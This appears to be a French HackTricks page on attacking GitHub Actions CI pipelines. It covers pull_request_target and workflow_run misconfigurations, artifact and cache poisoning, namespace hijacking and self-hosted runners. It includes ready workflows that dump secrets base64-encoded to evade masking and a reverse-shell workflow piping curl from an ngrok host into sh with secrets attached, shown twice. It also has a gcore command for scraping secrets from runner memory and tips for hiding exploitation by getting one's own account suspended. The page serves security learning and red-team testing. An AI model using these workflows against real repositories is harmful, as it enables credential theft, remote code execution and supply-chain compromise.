Abuser des Github Actions
Reading time: 20 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Dans cette page, vous trouverez :
- Un résumé de tous les impacts d'un attaquant parvenant à accéder à une Github Action
- Différentes manières de accéder à une action :
- Avoir des permissions pour créer l'action
- Abuser des déclencheurs liés aux pull requests
- Abuser d'autres techniques d'accès externe
- Pivoting à partir d'un dépôt déjà compromis
- Enfin, une section sur les techniques de post-exploitation pour abuser d'une action de l'intérieur (causant les impacts mentionnés)
Résumé des impacts
Pour une introduction sur Github Actions, consultez les informations de base.
Si vous pouvez exécuter du code arbitraire dans GitHub Actions au sein d'un dépôt, vous pourriez être en mesure de :
- Voler des secrets montés dans le pipeline et abuser des privilèges du pipeline pour obtenir un accès non autorisé à des plateformes externes, telles que AWS et GCP.
- Compromettre des déploiements et d'autres artéfacts.
- Si le pipeline déploie ou stocke des actifs, vous pourriez altérer le produit final, permettant une attaque de la chaîne d'approvisionnement.
- Exécuter du code dans des workers personnalisés pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
- Écraser le code du dépôt, en fonction des permissions associées au
GITHUB_TOKEN
.
GITHUB_TOKEN
Ce "secret" (provenant de ${{ secrets.GITHUB_TOKEN }}
et ${{ github.token }}
) est donné lorsque l'administrateur active cette option :
.png)
Ce token est le même qu'une application Github utilisera, donc il peut accéder aux mêmes points de terminaison : https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps
warning
Github devrait publier un flux qui permet l'accès inter-dépôts au sein de GitHub, afin qu'un dépôt puisse accéder à d'autres dépôts internes en utilisant le GITHUB_TOKEN
.
Vous pouvez voir les permissions possibles de ce token ici : https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token
Notez que le token expire après la fin du travail.
Ces tokens ressemblent à ceci : ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7
Quelques choses intéressantes que vous pouvez faire avec ce token :
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
caution
Notez qu'à plusieurs reprises, vous pourrez trouver des jetons d'utilisateur github dans les environnements Github Actions ou dans les secrets. Ces jetons peuvent vous donner plus de privilèges sur le dépôt et l'organisation.
Liste des secrets dans la sortie de Github Action
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Obtenir un shell inversé avec des secrets
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Il est possible de vérifier les permissions accordées à un Github Token dans les dépôts d'autres utilisateurs en vérifiant les journaux des actions :
.png)
Exécution Autorisée
note
Ce serait le moyen le plus simple de compromettre les actions Github, car ce cas suppose que vous avez accès à créer un nouveau dépôt dans l'organisation, ou que vous avez des privilèges d'écriture sur un dépôt.
Si vous êtes dans ce scénario, vous pouvez simplement vérifier les techniques de Post Exploitation.
Exécution depuis la Création de Dépôt
Dans le cas où les membres d'une organisation peuvent créer de nouveaux dépôts et que vous pouvez exécuter des actions github, vous pouvez créer un nouveau dépôt et voler les secrets définis au niveau de l'organisation.
Exécution depuis une Nouvelle Branche
Si vous pouvez créer une nouvelle branche dans un dépôt qui contient déjà une Action Github configurée, vous pouvez la modifier, télécharger le contenu, puis exécuter cette action depuis la nouvelle branche. De cette manière, vous pouvez exfiltrer les secrets au niveau du dépôt et de l'organisation (mais vous devez savoir comment ils sont appelés).
Vous pouvez rendre l'action modifiée exécutable manuellement, lorsqu'un PR est créé ou lorsque du code est poussé (selon le niveau de discrétion que vous souhaitez avoir) :
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
Exécution Forkée
note
Il existe différents déclencheurs qui pourraient permettre à un attaquant d'exécuter une action Github d'un autre dépôt. Si ces actions déclenchables sont mal configurées, un attaquant pourrait être en mesure de les compromettre.
pull_request
Le déclencheur de workflow pull_request
exécutera le workflow chaque fois qu'une demande de tirage est reçue avec quelques exceptions : par défaut, si c'est la première fois que vous collaborez, un mainteneur devra approuver l'exécution du workflow :
.png)
note
Comme la limitation par défaut est pour les contributeurs de première fois, vous pourriez contribuer en corrigeant un bug/typo valide et ensuite envoyer d'autres PRs pour abuser de vos nouveaux privilèges pull_request
.
J'ai testé cela et ça ne fonctionne pas : Une autre option serait de créer un compte avec le nom de quelqu'un qui a contribué au projet et a supprimé son compte.
De plus, par défaut, cela empêche les permissions d'écriture et l'accès aux secrets du dépôt cible comme mentionné dans les docs :
À l'exception de
GITHUB_TOKEN
, les secrets ne sont pas transmis au runner lorsqu'un workflow est déclenché depuis un dépôt forké. LeGITHUB_TOKEN
a des permissions en lecture seule dans les demandes de tirage provenant de dépôts forkés.
Un attaquant pourrait modifier la définition de l'action Github afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler des secrets ou écraser le dépôt en raison des limitations mentionnées.
caution
Oui, si l'attaquant change dans la PR l'action github qui sera déclenchée, son action Github sera celle utilisée et non celle du dépôt d'origine !
Comme l'attaquant contrôle également le code exécuté, même s'il n'y a pas de secrets ou de permissions d'écriture sur le GITHUB_TOKEN
, un attaquant pourrait par exemple télécharger des artefacts malveillants.
pull_request_target
Le déclencheur de workflow pull_request_target
a la permission d'écriture sur le dépôt cible et l'accès aux secrets (et ne demande pas de permission).
Notez que le déclencheur de workflow pull_request_target
s'exécute dans le contexte de base et non dans celui donné par la PR (pour ne pas exécuter de code non fiable). Pour plus d'infos sur pull_request_target
, consultez les docs.
De plus, pour plus d'infos sur cet usage dangereux spécifique, consultez ce post de blog github.
Cela peut sembler parce que le workflow exécuté est celui défini dans la base et non dans la PR, qu'il est sécurisé d'utiliser pull_request_target
, mais il y a quelques cas où ce n'est pas le cas.
Et celui-ci aura accès aux secrets.
workflow_run
Le déclencheur workflow_run permet d'exécuter un workflow à partir d'un autre lorsqu'il est complété
, demandé
ou en cours
.
Dans cet exemple, un workflow est configuré pour s'exécuter après la fin du workflow séparé "Exécuter des tests" :
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
De plus, selon la documentation : Le workflow démarré par l'événement workflow_run
est capable d'accéder aux secrets et d'écrire des tokens, même si le workflow précédent ne l'était pas.
Ce type de workflow pourrait être attaqué s'il dépend d'un workflow qui peut être déclenché par un utilisateur externe via pull_request
ou pull_request_target
. Quelques exemples vulnérables peuvent être trouvés dans ce blog. Le premier consiste à ce que le workflow déclenché par workflow_run
télécharge le code des attaquants : ${{ github.event.pull_request.head.sha }}
Le second consiste à passer un artifact du code non fiable au workflow workflow_run
et à utiliser le contenu de cet artifact d'une manière qui le rend vulnérable à RCE.
workflow_call
TODO
TODO : Vérifiez si, lorsqu'il est exécuté à partir d'un pull_request, le code utilisé/téléchargé est celui de l'origine ou de la PR forkée.
Abus de l'exécution forkée
Nous avons mentionné toutes les façons dont un attaquant externe pourrait réussir à faire exécuter un workflow github, maintenant examinons comment ces exécutions, si mal configurées, pourraient être abusées :
Exécution de checkout non fiable
Dans le cas de pull_request
, le workflow sera exécuté dans le contexte de la PR (il exécutera donc le code malveillant de la PR), mais quelqu'un doit d'abord l'autoriser et il s'exécutera avec certaines limitations.
Dans le cas d'un workflow utilisant pull_request_target
ou workflow_run
qui dépend d'un workflow pouvant être déclenché à partir de pull_request_target
ou pull_request
, le code du dépôt d'origine sera exécuté, donc l'attaquant ne peut pas contrôler le code exécuté.
caution
Cependant, si l'action a un checkout explicite de la PR qui récupère le code de la PR (et non de la base), elle utilisera le code contrôlé par les attaquants. Par exemple (voir la ligne 12 où le code de la PR est téléchargé) :
# INSECURE. Provided as an example only.
on:
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
Le code potentiellement non fiable est exécuté pendant npm install
ou npm build
car les scripts de construction et les packages référencés sont contrôlés par l'auteur de la PR.
warning
Un dork github pour rechercher des actions vulnérables est : event.pull_request pull_request_target extension:yml
cependant, il existe différentes façons de configurer les jobs pour être exécutés en toute sécurité même si l'action est configurée de manière non sécurisée (comme l'utilisation de conditionnelles sur qui est l'acteur générant la PR).
Injections de scripts de contexte
Notez qu'il existe certains contextes github dont les valeurs sont contrôlées par l'utilisateur créant la PR. Si l'action github utilise ces données pour exécuter quoi que ce soit, cela pourrait conduire à une exécution de code arbitraire :
Gh Actions - Context Script Injections
Injection de script GITHUB_ENV
D'après la documentation : Vous pouvez rendre une variable d'environnement disponible pour toutes les étapes suivantes dans un job de workflow en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement GITHUB_ENV
.
Si un attaquant pouvait injecter n'importe quelle valeur dans cette variable env, il pourrait injecter des variables d'environnement qui pourraient exécuter du code dans les étapes suivantes telles que LD_PRELOAD ou NODE_OPTIONS.
Par exemple (ceci et ceci), imaginez un workflow qui fait confiance à un artifact téléchargé pour stocker son contenu dans la variable d'environnement GITHUB_ENV
. Un attaquant pourrait télécharger quelque chose comme ceci pour le compromettre :
.png)
Actions Github tierces vulnérables
dawidd6/action-download-artifact
Comme mentionné dans cet article de blog, cette action Github permet d'accéder à des artifacts provenant de différents workflows et même de dépôts.
Le problème est que si le paramètre path
n'est pas défini, l'artifact est extrait dans le répertoire courant et peut écraser des fichiers qui pourraient être utilisés ou même exécutés plus tard dans le workflow. Par conséquent, si l'artifact est vulnérable, un attaquant pourrait en abuser pour compromettre d'autres workflows faisant confiance à l'artifact.
Exemple de workflow vulnérable :
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
Cela pourrait être attaqué avec ce flux de travail :
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
Autre Accès Externe
Détournement de Namespace de Dépôt Supprimé
Si un compte change de nom, un autre utilisateur pourrait enregistrer un compte avec ce nom après un certain temps. Si un dépôt avait moins de 100 étoiles avant le changement de nom, Github permettra au nouvel utilisateur enregistré avec le même nom de créer un dépôt avec le même nom que celui supprimé.
caution
Donc, si une action utilise un dépôt d'un compte inexistant, il est toujours possible qu'un attaquant puisse créer ce compte et compromettre l'action.
Si d'autres dépôts utilisaient des dépendances de ces dépôts utilisateurs, un attaquant pourra les détourner. Voici une explication plus complète : https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/
Pivotement de Dépôt
note
Dans cette section, nous allons parler des techniques qui permettraient de pivoter d'un dépôt à un autre en supposant que nous avons un certain type d'accès au premier (voir la section précédente).
Poisoning de Cache
Un cache est maintenu entre les exécutions de workflow dans la même branche. Ce qui signifie que si un attaquant compromet un package qui est ensuite stocké dans le cache et téléchargé et exécuté par un workflow plus privilégié, il pourra également compromettre ce workflow.
Poisoning d'Artifact
Les workflows pourraient utiliser des artifacts d'autres workflows et même dépôts, si un attaquant parvient à compromettre l'Action Github qui télécharge un artifact qui est ensuite utilisé par un autre workflow, il pourrait compromettre les autres workflows :
Gh Actions - Artifact Poisoning
Post Exploitation d'une Action
Accéder à AWS et GCP via OIDC
Consultez les pages suivantes :
Accéder aux secrets
Si vous injectez du contenu dans un script, il est intéressant de savoir comment vous pouvez accéder aux secrets :
- Si le secret ou le token est défini comme une variable d'environnement, il peut être directement accessible via l'environnement en utilisant
printenv
.
Liste des secrets dans la sortie de l'Action Github
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Obtenir un shell inversé avec des secrets
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
- Si le secret est utilisé directement dans une expression, le script shell généré est stocké sur le disque et est accessible.
-
cat /home/runner/work/_temp/*
- Pour des actions JavaScript, les secrets sont envoyés via des variables d'environnement.
- ```bash
ps axe | grep node
- Pour une action personnalisée, le risque peut varier en fonction de la manière dont un programme utilise le secret qu'il a obtenu de l'argument :
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
Abus des runners auto-hébergés
La façon de trouver quelles Github Actions sont exécutées dans une infrastructure non-Github est de rechercher runs-on: self-hosted
dans la configuration yaml de l'Action Github.
Les runners auto-hébergés peuvent avoir accès à des informations extra sensibles, à d'autres systèmes réseau (points d'extrémité vulnérables dans le réseau ? service de métadonnées ?) ou, même s'il est isolé et détruit, plus d'une action peut être exécutée en même temps et l'action malveillante pourrait voler les secrets de l'autre.
Dans les runners auto-hébergés, il est également possible d'obtenir les secrets du processus _Runner.Listener_** qui contiendra tous les secrets des workflows à n'importe quelle étape en vidant sa mémoire :
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
Vérifiez ce post pour plus d'informations.
Registre d'images Docker Github
Il est possible de créer des actions Github qui construiront et stockeront une image Docker à l'intérieur de Github.
Un exemple peut être trouvé dans l'expansible suivant :
Github Action Build & Push Docker Image
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
Comme vous pouvez le voir dans le code précédent, le registre Github est hébergé sur ghcr.io
.
Un utilisateur ayant des permissions de lecture sur le dépôt pourra alors télécharger l'image Docker en utilisant un jeton d'accès personnel :
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
Ensuite, l'utilisateur pourrait rechercher des secrets divulgués dans les couches d'image Docker :
Informations sensibles dans les journaux de Github Actions
Même si Github essaie de détecter les valeurs secrètes dans les journaux d'actions et d'éviter de les afficher, d'autres données sensibles qui pourraient avoir été générées lors de l'exécution de l'action ne seront pas cachées. Par exemple, un JWT signé avec une valeur secrète ne sera pas caché à moins qu'il ne soit spécifiquement configuré.
Couvrir vos traces
(Technique de ici) Tout d'abord, toute PR soumise est clairement visible au public sur Github et au compte GitHub cible. Sur GitHub, par défaut, nous ne pouvons pas supprimer une PR d'internet, mais il y a un twist. Pour les comptes Github qui sont suspendus par Github, toutes leurs PRs sont automatiquement supprimées et retirées d'internet. Donc, pour cacher votre activité, vous devez soit faire suspendre votre compte GitHub, soit faire flaguer votre compte. Cela cacherait toutes vos activités sur GitHub d'internet (en gros, retirer toutes vos PR d'exploitation)
Une organisation sur GitHub est très proactive dans le signalement des comptes à GitHub. Tout ce que vous avez à faire est de partager "certaines choses" dans un problème et ils s'assureront que votre compte est suspendu dans les 12 heures :p et voilà, vous avez rendu votre exploitation invisible sur github.
warning
La seule façon pour une organisation de comprendre qu'elle a été ciblée est de vérifier les journaux GitHub depuis SIEM, car depuis l'interface utilisateur de GitHub, la PR serait supprimée.
Outils
Les outils suivants sont utiles pour trouver des workflows Github Action et même en trouver des vulnérables :
- https://github.com/CycodeLabs/raven
- https://github.com/praetorian-inc/gato
- https://github.com/AdnaneKhan/Gato-X
- https://github.com/carlospolop/PurplePanda
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.